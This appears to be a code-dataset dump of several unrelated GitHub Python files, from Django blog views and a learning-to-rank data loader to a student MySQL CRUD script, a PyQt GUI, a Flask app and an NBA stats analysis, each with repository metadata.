article_info['content']\n pre_article = Article.objects.filter(id__lt=article_id).order_by('-id').first()\n pre_article_id = pre_article.id if pre_article else ''\n next_article = Article.objects.filter(id__gt=article_id).order_by('id').first()\n next_article_id = next_article.id if next_article else ''\n page_content = render_content(page_content, pre_article_id, next_article_id)\n clap_count = ClapRecord.objects.all().count()\n context = dict(article_id=article_id,\n pre_article_id=pre_article_id, next_article_id=next_article_id,\n article_title=article_title, cat_info_list=get_cat_info_list(),\n tag_info_list=get_tag_info_list(), date=article_info['date'],\n clap_count=clap_count,\n category_id=article.cat_id,\n page_url='http://www.fridayhaohao.com/articles/{}/'.format(article_id),\n page_identify='id_{}'.format(article_id))\n context.update(page_content)\n return render(request, 'mk_docs/main.html', context)\n\n def put(self, request):\n pass\n\n def delete(self, request):\n pass\n\n\nclass TagList(View):\n\n def get(self, request):\n tags = Tag.objects.all()\n tag_info = [{'id': tag.id, 'name': tag.name} for tag in tags]\n return JsonResponse(data=tag_info)\n\n def post(self, request):\n pass\n\n\nclass TagArticleList(View):\n\n def get(self, request, tag_id):\n articles = Article.objects.filter(tag_id=tag_id, perm_level__lt=100).order_by('-event_date')\n page = int(request.GET.get('page', 1))\n context = get_articles_context(articles, page)\n context.update({'home_page': False})\n return render(request, 'blog/article_list.html', context)\n\n\nclass CatArticleList(View):\n\n def get(self, request, cat_id):\n articles = Article.objects.filter(cat_id=cat_id, perm_level__lt=100).order_by('-event_date')\n page = int(request.GET.get('page', 1))\n context = get_articles_context(articles, page)\n context.update({'home_page': False})\n return render(request, 'blog/article_list.html', context)\n\n\ndef sitemap(request):\n content = ['http://www.fridayhaohao.com/']\n for id in Article.objects.values_list('id', flat=True):\n content.append('http://www.fridayhaohao.com/articles/{}/'.format(id))\n content = '\\n'.join(content)\n the_file_name = \"sitemap.txt\"\n response = StreamingHttpResponse(content)\n response['Content-Type'] = 'txt/csv'\n response['Content-Disposition'] = 'attachment;filename=\"{0}\"'.format(the_file_name)\n return response\n\n\ndef robot_txt(request):\n content = \"\"\"User-agent: *\nDisallow: /admin*\nDisallow: /xadmin*\nSitemap: http://www.fridayhaohao.com/sitemap\"\"\"\n the_file_name = \"robots.txt\"\n response = StreamingHttpResponse(content)\n response['Content-Type'] = 'txt/csv'\n response['Content-Disposition'] = 'attachment;filename=\"{0}\"'.format(the_file_name)\n return response\n\n\nclass ClapRecordView(View):\n\n @method_decorator(csrf_exempt)\n def dispatch(self, request, *args, **kwargs):\n return super(ClapRecordView, self).dispatch(request, *args, **kwargs)\n\n def post(self, request):\n fp2 = request.POST.get('fp2')\n from_url = request.POST.get('from_url')\n clappers = AccessLog.objects.filter(fp2=fp2, memo__isnull=False).first()\n if clappers:\n clapper = clappers.memo.replace('fp:', '') or '无名'\n else:\n clapper = '无名'\n if '李东勇' in clapper:\n return JsonResponse(data={'msg': '自己鼓掌可不算哦'})\n article_id = re.findall('/articles/([0-9]+)/', from_url)\n if not article_id:\n return JsonResponse(data={'msg': 'article not found'})\n article_id = int(article_id[0])\n try:\n article = Article.objects.get(id=article_id)\n except Article.DoesNotExist:\n return JsonResponse(data={'msg': 'article not found, article_id:{}'.format(article_id)})\n clap_record = ClapRecord(\n article=article,\n clapper=clapper,\n fp2=fp2,\n )\n clap_record.save()\n return JsonResponse(data={'msg': 'success'})\n\n\nclass MusicView(View):\n def get(self, request):\n songs = Song.objects.all()\n musics = []\n for song in songs[:20]:\n musics.append({'name': song.name, 'url': song.song.url, 'artist': song.artist})\n return render(request, 'blog/music.html', {'MUSIC': json.dumps(musics), 'music': musics})","repo_name":"Friday21/friday_blog","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9351452213","text":"from data.AbstractDataset import AbstractDataset\nimport numpy as np\nimport math\nimport os\nimport hashlib\nimport pickle\n\n\nclass LetorDataset(AbstractDataset):\n\n def __init__(self,\n path,\n feature_size,\n query_level_norm=False,\n binary_label=0,\n cache_root=None\n ):\n super().__init__(path, feature_size, query_level_norm)\n self._binary_label = binary_label\n self._comments = {}\n self._docid_map = {}\n # self._docstr_map = {}\n\n if cache_root is not None:\n new = self.from_path(path, cache_root)\n if new is not None:\n self.__dict__.update(new.__dict__)\n else:\n self._load_data()\n cache_name = f\"{hashlib.md5(path.encode()).hexdigest()}.pkl\"\n file_path = f'./{cache_root}/{cache_name}'\n\n with open(file_path, 'wb') as f:\n pickle.dump(self, f)\n print(f\"Cached the array to {file_path}\")\n else:\n self._load_data()\n\n def from_path(self, path: str, cache_root: str) -> 'LetorDataset':\n \"\"\"\n Constructs a dataset by reading form a disk\n :param root_path: A path to the root that contains (Fold1, Fold2, ...)\n :param cache_root: None if no caching is needed, otherwise a path to the cache dir;\n if the cache dir already contains the data it will be used. Hence, cleaning\n of the cache has to be done manually if needed.\n :return: Constructed Dataset instance\n \"\"\"\n\n cache_name = f\"{hashlib.md5(path.encode()).hexdigest()}.pkl\"\n file_path = f'./{cache_root}/{cache_name}'\n if os.path.exists(file_path):\n print(f\"Loading from cache file {file_path}\")\n with open(file_path, 'rb') as f:\n data = pickle.load(f)\n return data\n else:\n print(\"no cache found for\", path)\n return None\n\n def _load_data(self):\n print(\"Loading {}......\".format(self._path))\n with open(self._path, \"r\") as fin:\n current_query = None\n for line in fin:\n cols = line.strip().split()\n query = cols[1].split(':')[1]\n if query == current_query:\n docid = len(self._query_get_docids[query])\n old_query = True\n\n else:\n if current_query != None and self._query_level_norm:\n self._normalise(current_query)\n old_query = False\n docid = 0\n current_query = query\n self._docid_map[query] = {}\n # self._docstr_map[query] = {}\n self._query_pos_docids[query] = []\n\n comments_part = line.split(\"#\")\n if len(comments_part) == 2:\n if query not in self._comments:\n self._comments[query] = []\n self._comments[query].append(comments_part[1].strip())\n\n relevence = float(cols[0]) # Sometimes the relevance label can be a float.\n if relevence.is_integer():\n relevence = int(relevence) # But if it is indeed an int, cast it into one.\n if self._binary_label != 0:\n if relevence >= self._binary_label:\n relevence = 1\n else:\n relevence = 0\n\n features = [0] * self._feature_size\n\n for i in range(2, len(cols)):\n feature_id = cols[i].split(':')[0]\n\n if not feature_id.isdigit():\n if feature_id[0] == \"#\":\n self._docid_map[query][docid] = cols[i][1:]\n # self._docstr_map[query][cols[i][1:]] = docid\n break\n\n feature_id = int(feature_id) - 1\n feature_value = float(cols[i].split(':')[1])\n if math.isnan(feature_value):\n feature_value = 0\n\n features[feature_id] = feature_value\n\n if relevence > 0:\n self._query_pos_docids[query].append(docid)\n\n if old_query:\n self._query_docid_get_features[query][docid] = np.array(features)\n self._query_get_docids[query].append(docid)\n self._query_get_all_features[query] = np.vstack((self._query_get_all_features[query], features))\n self._query_docid_get_rel[query][docid] = relevence\n self._query_relevant_labels[query].append(relevence)\n else:\n self._query_docid_get_features[query] = {docid: np.array(features)}\n self._query_get_docids[query] = [docid]\n self._query_get_all_features[query] = np.array([features])\n self._query_docid_get_rel[query] = {docid: relevence}\n self._query_relevant_labels[query] = [relevence]\n\n if self._query_level_norm:\n self._normalise(current_query)\n\n def _normalise(self, query):\n norm = np.zeros((len(self._query_get_docids[query]), self._feature_size))\n # if there is more than 1 candidate docs, do the norm #TODO - fix the bug\n if norm.shape[0] != 1:\n query_features = self._query_get_all_features[query]\n min = np.amin(query_features, axis=0)\n max = np.amax(query_features, axis=0)\n safe_ind = max - min != 0\n norm[:, safe_ind] = (query_features[:, safe_ind] - min[safe_ind]) / (\n max[safe_ind] - min[safe_ind])\n self._query_get_all_features[query] = norm\n\n def update_relevance_label(self, qrel_dic: dict):\n for qid in self._query_docid_get_rel.keys():\n\n self._query_pos_docids[qid] = []\n ind = 0\n for docid in self._query_docid_get_rel[qid].keys():\n if self._docid_map[qid][docid] in qrel_dic[qid].keys():\n rel = qrel_dic[qid][self._docid_map[qid][docid]]\n else:\n rel = 0\n self._query_docid_get_rel[qid][docid] = rel\n self._query_relevant_labels[qid][ind] = rel\n\n if rel > 0:\n self._query_pos_docids[qid].append(docid)\n ind += 1\n\n # self._query_get_all_features_temp = {}\n # for qid in self._query_docid_get_rel.keys():\n # self._query_pos_docids[qid] = []\n # self._query_get_docids[qid] = []\n # self._query_get_all_features_temp[qid] = []\n # for docstr in qrel_dic[qid].keys():\n # docid = self._docstr_map[qid][docstr]\n # rel = qrel_dic[qid][docstr]\n #\n # self._query_docid_get_rel[qid][docid] = rel\n # self._query_relevant_labels[qid][docid] = rel\n # self._query_get_docids[qid].append(docid)\n # features = self._query_get_all_features[qid][docid]\n # self._query_get_all_features_temp[qid].append(features)\n # if rel > 0:\n # self._query_pos_docids[qid].append(docid)\n # self._query_get_all_features[qid] = np.array(self._query_get_all_features_temp[qid])\n\n def update_relevance_by_qrel(self, path: str):\n\n # q-d pair dictionary\n qrel_dic = {}\n\n with open(path, 'r') as f:\n for line in f:\n qid, _, docid, rel = line.strip().split()\n if qid in qrel_dic.keys():\n qrel_dic[qid][docid] = int(rel)\n else:\n qrel_dic[qid] = {docid: int(rel)}\n self.update_relevance_label(qrel_dic)\n\n def get_features_by_query_and_docid(self, query, docid):\n return self._query_docid_get_features[query][docid]\n\n def get_candidate_docids_by_query(self, query):\n return self._query_get_docids[query]\n\n def get_all_features_by_query(self, query):\n return self._query_get_all_features[query]\n\n def get_relevance_label_by_query_and_docid(self, query, docid):\n return self._query_docid_get_rel[query][docid]\n\n def get_all_relevance_label_by_query(self, query):\n return self._query_relevant_labels[query]\n\n def get_relevance_docids_by_query(self, query):\n return self._query_pos_docids[query]\n\n def get_all_querys(self):\n return np.array(list(self._query_get_all_features.keys()))\n\n def get_all_comments_by_query(self, query):\n return self._comments[query]\n\n def write(self, output_file):\n s = \"\"\n for query in self.get_all_querys():\n comments = self.get_all_comments_by_query(query)\n for i, features in enumerate(self.get_all_features_by_query(query)):\n comment = comments[i]\n label = self.get_relevance_label_by_query_and_docid(query, i)\n features_str = \"\"\n for i, feature in enumerate(features):\n # if feature == 0:\n # continue\n features_str += \"{}:{} \".format(i + 1, feature)\n s += \"{} qid:{} {}#{}\\n\".format(label, query, features_str, comment)\n with open(output_file, \"w\") as f:\n f.write(s)\n\n def write_by_queries(self, output_file, queries):\n s = \"\"\n for query in queries:\n comments = self.get_all_comments_by_query(query)\n for i, features in enumerate(self.get_all_features_by_query(query)):\n comment = comments[i]\n label = self.get_relevance_label_by_query_and_docid(query, i)\n features_str = \"\"\n for i, feature in enumerate(features):\n # if feature == 0:\n # continue\n features_str += \"{}:{} \".format(i + 1, feature)\n s += \"{} qid:{} {}#{}\\n\".format(label, query, features_str, comment)\n with open(output_file, \"w\") as f:\n f.write(s)\n\n def write_cross_validation_datasets(self, path: str, fold_num: int):\n \"\"\"\n :param fold_num: number of fold to do cross validation.\n :param path: folder address to store the cross sets.\n :return:\n \"\"\"\n\n for fold in range(fold_num):\n fold_path = \"{}/fold{}\".format(path, fold + 1)\n # Create target Directory if don't exist\n if not os.path.exists(fold_path):\n os.mkdir(fold_path)\n print(\"Directory \", fold_path, \" Created \")\n else:\n print(\"Directory \", fold_path, \" already exists\")\n\n all_queries = self.get_all_querys()\n\n np.random.shuffle(all_queries)\n\n query_chunks = np.array_split(all_queries, fold_num)\n\n for i in range(fold_num):\n test_path = \"{}/Fold{}/test.txt\".format(path, i + 1)\n train_path = \"{}/Fold{}/train.txt\".format(path, i + 1)\n test_queries = query_chunks[i]\n train_chunks = query_chunks[:i]\n train_chunks.extend(query_chunks[i + 1:])\n train_queries = np.concatenate(train_chunks)\n\n self.write_by_queries(test_path, test_queries)\n self.write_by_queries(train_path, train_queries)\n\n @staticmethod\n def runs_to_letor(input_folder: str, output_folder: str):\n \"\"\"\n Convert run files into LTR dataset.\n :param input_folder: folder path that contains all run files.\n :param output_folder:\n :return:\n \"\"\"\n files = os.listdir(input_folder)\n num_feature = len(files)\n\n # q-d pair dictionary\n query_dic = {}\n for feature_id in range(num_feature):\n # feature id in standard letor datasets start from 1.\n with open(os.path.join(input_folder, files[feature_id]), 'r') as f:\n for line in f:\n qid, _, docid, rank, score, rname = line.strip().split()\n if qid in query_dic.keys():\n if docid in query_dic[qid].keys():\n query_dic[qid][docid].append((feature_id + 1, score))\n else:\n query_dic[qid][docid] = [(feature_id + 1, score)]\n else:\n query_dic[qid] = {docid: [(feature_id + 1, score)]}\n s = \"\"\n for qid in query_dic.keys():\n for docid in query_dic[qid].keys():\n # the first column is relevance label, dont know for now.\n s += \"0 \"\n s += \"qid:{} \".format(qid)\n\n for feature_id, socre in query_dic[qid][docid]:\n s += \"{}:{} \".format(feature_id, socre)\n s += \"#docid = {}\\n\".format(docid)\n with open(output_folder + \"letor.txt\", \"w\") as f:\n f.write(s)\n\n s = \"\"\n for fid in range(len(files)):\n s += \"{}:{}\\n\".format(fid + 1, files[fid])\n with open(output_folder + \"feature_description.txt\", \"w\") as f:\n f.write(s)\n\n # bad implementation only for PMGD:\n def get_query_docid_get_feature(self):\n return self._query_docid_get_features\n\n def get_query_get_all_features(self):\n return self._query_get_all_features\n\n def get_query_get_docids(self):\n return self._query_get_docids","repo_name":"ielab/fpdgd-ictir2021","sub_path":"data/LetorDataset.py","file_name":"LetorDataset.py","file_ext":"py","file_size_in_byte":13615,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"20636706816","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 5 22:01:03 2019\r\n\r\n@author: Cheng Lin\r\n\"\"\"\r\n\r\nimport requests\r\nimport json\r\nimport base64\r\n#from ratelimit import limits, sleep_and_retry\r\n\r\nFIFTEEN_MINUTES = 900\r\n\r\ndef get_access_token(CLIENT_ID, CLIENT_SECRET):\r\n GRANT_TYPE = 'client_credentials'\r\n body_params = {'grant_type' : GRANT_TYPE}\r\n \r\n r = requests.post('https://accounts.spotify.com/api/token',data=body_params, auth = (CLIENT_ID, CLIENT_SECRET))\r\n return r.json()['access_token']\r\n\r\n#function to make a generic spotify api call; returns a json\r\n#@sleep_and_retry\r\n#@limits(calls=30, period=60)\r\ndef make_api_request(url, token):\r\n r = requests.get(url, headers={'Authorization': 'Bearer {}'.format(token)})\r\n return r.json()\r\n\r\n#function that pulls playlist contents given spotify playlist ID\r\ndef pull_playlist_contents(playlist_id, token):\r\n \r\n #GET playlist tracks with API call using token\r\n url = 'https://api.spotify.com/v1/playlists/{}/tracks'.format(playlist_id)\r\n r = requests.get(url, headers={'Authorization': 'Bearer {}'.format(token)})\r\n \r\n result = r.json()\r\n \r\n print('Retrieved {} tracks from playlist'.format(len(tracks)))\r\n\r\n return result\r\n\r\n#def pull_track_features(tracks, token): ","repo_name":"cclin130/txtlab-music","sub_path":"scraping/spotify_api_utils.py","file_name":"spotify_api_utils.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"10655940819","text":"class Solution:\n def erase_overlap_intervals(self, intervals):\n n = len(intervals)\n if n == 0:\n return 0\n # # 使用动态规划(此问题可以转化为最长上升子序列问题)\n # intervals.sort()\n # # memo[i] 表示使用 intervals[0...i] 的区间能构成的最长不重叠子区间\n # memo = [1] * n\n # for i in range(1, n):\n # for j in range(i):\n # if intervals[i][0] >= intervals[j][-1]:\n # memo[i] = max(memo[i], 1 + memo[j])\n # return n - max(memo)\n # 使用贪心算法\n intervals.sort(key=lambda x: x[-1])\n res = 1\n pre = 0\n for i in range(1, n):\n if intervals[i][0] >= intervals[pre][-1]:\n res += 1\n pre = i\n return n - res\n","repo_name":"WaspVae/Study","sub_path":"LeetCode/435_non-overlapping-intervals.py","file_name":"435_non-overlapping-intervals.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6053910336","text":"import operator\nfrom graphmaker import *\nimport scipy.ndimage\nfrom keras.models import load_model\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport string\n\ndef run_image(model, image_path, size_x = 28, size_y = 28):\n\ttext_output = {}\n\tnum2alpha = dict(zip(range(1, 27), string.ascii_lowercase))\n\tcurr_img = scipy.ndimage.imread(image_path, flatten = True)\n\twordmap = image_pipeline(curr_img)\n\tj = 0\n\tfor line, words in wordmap.items():\n\t\tfor word, letters in words.items():\n\t\t\tfor i in range(len(letters)-1):\n\t\t\t\tletter_start = letters[i]\n\t\t\t\tletter_end = letters[i+1]\n\t\t\t\timg_subset = curr_img[line[0]:line[1], letter_start:letter_end]\n\t\t\t\timg_subset = np.pad(img_subset, 2, mode = 'constant', constant_values = 255.0)\n\t\t\t\timg_subset = scipy.misc.imresize(img_subset, (size_x, size_y))\n\t\t\t\timg_subset = img_subset.astype('float32')\n\t\t\t\timg_subset = img_subset/255\n\t\t\t\timg_subset = 1-img_subset\n\t\t\t\t# img_subset = img_subset - .172227\n\n\t\t\t\t########## Evaluate using Keras ##########\n\t\t\t\t########## Get the most probable letter ##########\n\t\t\t\timg_subset2 = np.expand_dims(img_subset, axis=0)\n\t\t\t\timg_subset2 = np.expand_dims(img_subset2, axis=3)\n\t\t\t\tvalue = model.predict(x= img_subset2).argmax(axis = -1)[0]\n\t\t\t\t# print(num2alpha[value])\n\t\t\t\t########## Remove this following line ##########\n\t\t\t\ttext_output[(line[0],line[1], letter_start,letter_end)] = num2alpha[value]\n\t\t\t\t# plt.imshow(img_subset)\n\t\t\t\t# plt.show()\n\t\t\t\t############################################################\n\t\t\t\tif letters[i+1] == max(letters):\n\t\t\t\t\ttext_output[(line[0],line[1], letter_start,letter_end)] += ' '\n\treturn text_output\n\n\ndef make_text(text_output):\n\tfinal_text = ''\n\tright_order = sorted(text_output.keys(), key=operator.itemgetter(0,1,2,3)) \n\tfor index in right_order:\n\t\tfinal_text += text_output[index]\n\treturn final_text\n\nif __name__ == '__main__':\n\tmodel = load_model('models/bin/overdeep_letter_model.h5')\n\tfinal_text = make_text(run_image(model, 'test4.png'))\n\tprint(final_text)","repo_name":"ssilwa/6.819-Final-Project","sub_path":"generate_output.py","file_name":"generate_output.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38177376544","text":"# encoding: utf8\n\n# люди стояли в очереди. можно было два раза поменяться с впереди стоящим\n# выполняется ли это правило для данной очереди? сколько таких перестановок было?\ndef minimum_bribes(q: list[int]):\n\n bribes = 0\n index = 0\n while index < len(q) - 1:\n current = q[index]\n if q[index] == index + 1: # этот человек на месте\n index += 1\n continue\n\n if abs(index + 1 - q[index]) > 2: # тут оказался человек, место которого дальше более чем на два\n return 'Too chaotic'\n\n if q[index] > q[index + 1]: # если очередь этого человека должна наступить позже чем следующего\n q[index + 1], q[index] = q[index], q[index + 1] # поменяем их местами\n bribes += 1\n index = max(0, index - 1) # посмотрим ещё раз на шаг назад\n continue\n\n print('here?')\n index += 1\n\n return bribes\n\n\nprint(minimum_bribes([1, 2, 5, 3, 4, 7, 8, 6]))\n","repo_name":"blockinhead/algo_python","sub_path":"hackerrank/new_year_chaos.py","file_name":"new_year_chaos.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"448439918","text":"import mysql.connector\r\n\r\ncon = mysql.connector.connect(host='localhost', database='school', user='root', password='root')\r\n\r\ncursor = con.cursor()\r\n\r\n\r\nwhile True:\r\n\r\n soun = int(input(\"Deseja continuar? 1- Sim, 2- Não --> \"))\r\n\r\n if soun == 1:\r\n\r\n ind = int(input(\"Qual tabela deseja utilizar? 1- Course, 2- Student --> \"))\r\n\r\n ind2 = int(input(\"Digite a funcionalidade desejada: 1- Inserir, 2- Consultar, 3- Deletar, 4- Atualizar --> \"))\r\n\r\n\r\n if ind == 1 and ind2 == 1:\r\n \r\n x = int(input(\"Digite o id do curso-->\"))\r\n y = input(\"Digite o nome do curso-->\")\r\n z = input(\"Digite a área de estudo do curso-->\")\r\n\r\n cursor.execute('INSERT INTO Course (CourseID, Name, StudyArea) VALUES(%s,%s,%s) ', (x, y,z))\r\n\r\n print(\"Curso inserido com sucesso!\")\r\n\r\n elif ind == 2 and ind2 == 1:\r\n\r\n x = int(input(\"Digite o id do estudante-->\"))\r\n y = int(input(\"Digite o id do curso-->\"))\r\n n = input(\"Digite o nome do estudante-->\")\r\n z = input(\"Data de matrícula do estudante (YYYY-MM-DD)-->\")\r\n w = int(input(\"Digite a idade do estudante-->\"))\r\n v = input(\"Digite o CPF do estudante-->\")\r\n\r\n cursor.execute('INSERT INTO Student (StudentID, CourseID, Name, Created, Age, CPF) VALUES(%s,%s,%s,%s,%s,%s) ', (x, y, n, z, w,v))\r\n\r\n print(\"Estudante cadastrado com sucesso!\")\r\n\r\n elif ind == 1 and ind2 == 2:\r\n\r\n x = input(\"Digite o id do curso que deseja consultar-->\")\r\n\r\n cursor.execute('SELECT * FROM course LEFT JOIN student ON course.CourseID = student.CourseID WHERE course.CourseID = ' + x)\r\n\r\n for course in cursor.fetchall():\r\n print(course)\r\n\r\n elif ind == 2 and ind2 == 2:\r\n\r\n cursor.execute('SELECT * FROM Student')\r\n\r\n for student in cursor.fetchall():\r\n print(student)\r\n\r\n elif ind == 1 and ind2 == 3:\r\n\r\n x = input(\"Digite o id do curso que será excluído-->\")\r\n\r\n cursor.execute('DELETE FROM Student WHERE CourseID = ' + x)\r\n cursor.execute('DELETE FROM Course WHERE CourseID = ' + x)\r\n\r\n print(\"Curso excluído com sucesso!\")\r\n\r\n elif ind == 2 and ind2 == 3:\r\n\r\n x = input(\"Digite o id do estudante que será excluído-->\")\r\n\r\n cursor.execute('DELETE FROM Student WHERE StudentID = ' + x)\r\n\r\n print(\"Estudante excluído com sucesso!\")\r\n\r\n elif ind == 1 and ind2 == 4:\r\n\r\n x = int(input(\"Digite o id do curso que será atualizado-->\"))\r\n y = input(\"Digite o nome do curso-->\")\r\n z = input(\"Digite a área de estudo do curso-->\")\r\n\r\n cursor.execute('UPDATE Course SET Name = %s, StudyArea = %s WHERE CourseID = %s', (y,z,x))\r\n\r\n print(\"Curso atualizado com sucesso!\")\r\n\r\n elif ind == 2 and ind2 == 4:\r\n\r\n x = int(input(\"Digite o id do estudante que será atualizado-->\"))\r\n y = input(\"Digite o nome do estudante-->\")\r\n z = input(\"Digite a data de matrícula do estudante-->\")\r\n w = int(input(\"Digite a idade do estudante-->\"))\r\n v = input(\"Digite o CPF do estudante-->\")\r\n\r\n cursor.execute('UPDATE Student SET Name = %s, Created = %s, Age = %s, CPF = %s WHERE StudentID = %s', (y, z, w, v, x))\r\n\r\n print(\"Estudante atualizado com sucesso!\")\r\n\r\n con.commit()\r\n\r\n elif soun == 2:\r\n print(\"Operação encerrada!\")\r\n break\r\n","repo_name":"LeoMiriZ/ProgramacaoFuncional","sub_path":"ProvaParcial/ProvaParcial.py","file_name":"ProvaParcial.py","file_ext":"py","file_size_in_byte":3574,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8398256007","text":"from PyQt6.QtWidgets import QHBoxLayout, QPushButton, QSizePolicy, QVBoxLayout, QSpacerItem, QFrame, QLabel\n\nfrom Widgets.ScrollGroupBox import VScrollGroupBox\nfrom Widgets.EditableLabel import EditableLabel\nfrom WaveInput import WaveInput\nfrom Equalizer import Equalizer\nfrom funcs import formatId\nfrom store import Store\n\nclass ComponentList(VScrollGroupBox):\n\n count = 0\n\n def __init__(self, onChange):\n\n super().__init__('Components')\n self.onChange = onChange\n self.components = []\n self.initGUI()\n \n def initGUI(self):\n\n addWaveInputButton = QPushButton('Add Wave')\n addWaveInputButton.clicked.connect(self.addWaveInput)\n addEqualizerButton = QPushButton('Add EQ')\n addEqualizerButton.clicked.connect(self.addEqualizer)\n\n footerOptionsLayout = QHBoxLayout()\n footerOptionsLayout.addWidget(addWaveInputButton)\n footerOptionsLayout.addWidget(addEqualizerButton)\n\n footerLayout = QVBoxLayout()\n footerLayout.addSpacerItem(QSpacerItem(0, 8))\n footerLayout.addLayout(footerOptionsLayout)\n footerLayout.addSpacerItem(QSpacerItem(0, 0, QSizePolicy.Policy.Minimum, QSizePolicy.Policy.Expanding))\n\n self.listLayout = QVBoxLayout()\n # VScrollGroupBox comes with a layout.\n self.setSpacing(12)\n self.addLayout(self.listLayout)\n self.addLayout(footerLayout)\n self.setFixedWidth(480)\n\n def addWaveInput(self):\n c = Component('wave input', self.onChange, formatId(self.count), 'New Wave')\n self.components.append(c)\n self.listLayout.addWidget(c)\n self.count += 1\n \n def addEqualizer(self):\n c = Component('equalizer', self.onChange, formatId(self.count), 'New EQ')\n self.components.append(c)\n self.listLayout.addWidget(c)\n self.count += 1\n\n\nclass Component(QFrame):\n\n def __init__(self, type, onChange, id, name='Component'):\n\n super().__init__()\n self.type = type\n self.id = id\n self.name = name\n self.onChange = onChange\n self.initInStore()\n self.initGUI()\n self.onNameChange(name)\n self.onValueChange(self.inputWidget.value)\n \n def initGUI(self):\n inputWidgetComponent = { 'wave input': WaveInput, 'equalizer': Equalizer }\n\n idWidget = QLabel(self.id)\n idWidget.setSizePolicy(QSizePolicy.Policy.Fixed, QSizePolicy.Policy.Fixed)\n\n nameWidget = EditableLabel(self.onNameChange, 'text', self.name)\n nameWidget.setSizePolicy(QSizePolicy.Policy.Minimum, QSizePolicy.Policy.Fixed)\n\n self.inputWidget = inputWidgetComponent[self.type](self.onValueChange)\n\n labelLayout = QHBoxLayout()\n labelLayout.addWidget(idWidget)\n labelLayout.addWidget(nameWidget)\n\n layout = QVBoxLayout()\n layout.addLayout(labelLayout)\n layout.addWidget(self.inputWidget)\n self.setLayout(layout)\n self.setSizePolicy(QSizePolicy.Policy.Minimum, QSizePolicy.Policy.Fixed)\n \n def initInStore(self):\n Store.components[self.id] = { 'id': self.id, 'type': self.type, 'name': '', 'value': [] }\n\n def onValueChange(self, input):\n Store.components[self.id]['value'] = input\n self.onChange()\n \n def onNameChange(self, name):\n Store.components[self.id]['name'] = name\n self.onChange()","repo_name":"max-y-huang/synthesis","sub_path":"ComponentList.py","file_name":"ComponentList.py","file_ext":"py","file_size_in_byte":3120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32569267236","text":"from argparse import ArgumentParser\n\nfrom flask import Flask, jsonify, request\n\nfrom cc_agency.commons.helper import create_flask_response\nfrom cc_agency.version import VERSION as AGENCY_VERSION\nfrom cc_agency.commons.conf import Conf\nfrom cc_agency.commons.db import Mongo\nfrom cc_agency.broker.auth import Auth\n\nfrom cc_cloud.version import VERSION as CLOUD_VERSION\nfrom cc_cloud.service.file_service import FileService\nfrom cc_cloud.routes.routes import cloud_routes\nfrom cc_cloud.service.cloud_service import CloudService\n\n\nDESCRIPTION = 'CC-Cloud webinterface'\n\napp = Flask('cc-cloud')\napp.config['UPLOAD_FOLDER'] = '/home/user/cloud'\napplication = app\n\nparser = ArgumentParser(description=DESCRIPTION)\nparser.add_argument(\n '-c', '--conf-file', action='store', type=str, metavar='CONF_FILE',\n help='CONF_FILE (yaml) as local path.'\n)\nargs = parser.parse_args()\n\nconf = Conf(args.conf_file)\nmongo = Mongo(conf)\nauth = Auth(conf, mongo)\nfile_manager = FileService(conf)\ncloud = CloudService(conf, mongo)\n\n@app.route('/', methods=['GET'])\ndef get_root():\n return jsonify({'Hello': 'World'})\n\n\n@app.route('/version', methods=['GET'])\ndef get_version():\n user = auth.verify_user(request.authorization, request.cookies, request.remote_addr)\n\n return create_flask_response(\n {\n 'agencyVersion': AGENCY_VERSION,\n 'cloudVersion': CLOUD_VERSION\n },\n auth,\n user.authentication_cookie\n )\n \ncloud_routes(app, auth, cloud)\n","repo_name":"curious-containers/cc-cloud","sub_path":"cc_cloud/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25861157571","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nsns.set_style('darkgrid')\n\n'''We create dataframes from both excel gamelog files'''\nLD = pd.read_excel(r'LUKA_ROOKIE_GAMELOGS.xlsx')\nLBJ = pd.read_excel(r'LEBRON_ROOKIE_STATS.xlsx')\n\n'''We analyse and clean both files, starting with the Luka file'''\n#LD.info()\n\n'''We look for invalid data to convert to NaN'''\n#print(LD['PTS'].unique())\n\n'''There is a game where the FT% should be 0 but is NaN instead,\nso we change it to 0 so we can distinguish it afterwards'''\nLD['FT%'] = LD['FT%'].replace(np.nan, 0)\n\nLD = LD.replace(['Inactive'],np.nan)\nLD = LD.replace(['Did Not Dress'],np.nan)\n\n#print(LD.head(40))\n\n'''We change null values to \"Home\" in \"Home/Away\" column'''\nLD['Home/Away'] = LD['Home/Away'].replace([np.nan], 'Home')\n\n'''Keep only year age from a year-day age format so we can store as an int, separating them in columns and deleting the\nday column'''\nparts = LD['Age'].str.split('-', expand=True)\nLD['Age'] = parts[0]\nLD['Age'] = LD['Age'].astype('int')\n\n#print(LD.head())\n#print(LD['Column2'])\n\nparts = LD['Column2'].str.split(' ', expand=True)\nLD['Column2'] = parts[0]\nLD.rename(columns = {'Column2':'Win/Lose'}, inplace = True)\n\nLD.drop('MP', inplace=True, axis=1)\n\n'''Once our first dataframe is clean, we clean the next one'''\n\n#LB.info()\n\nLBJ['FT%'] = LBJ['FT%'].replace(np.nan, 0)\nLBJ['3P%'] = LBJ['3P%'].replace(np.nan, 0)\n\nLBJ = LBJ.replace(['Inactive'], np.nan)\n\nLBJ.rename(columns = 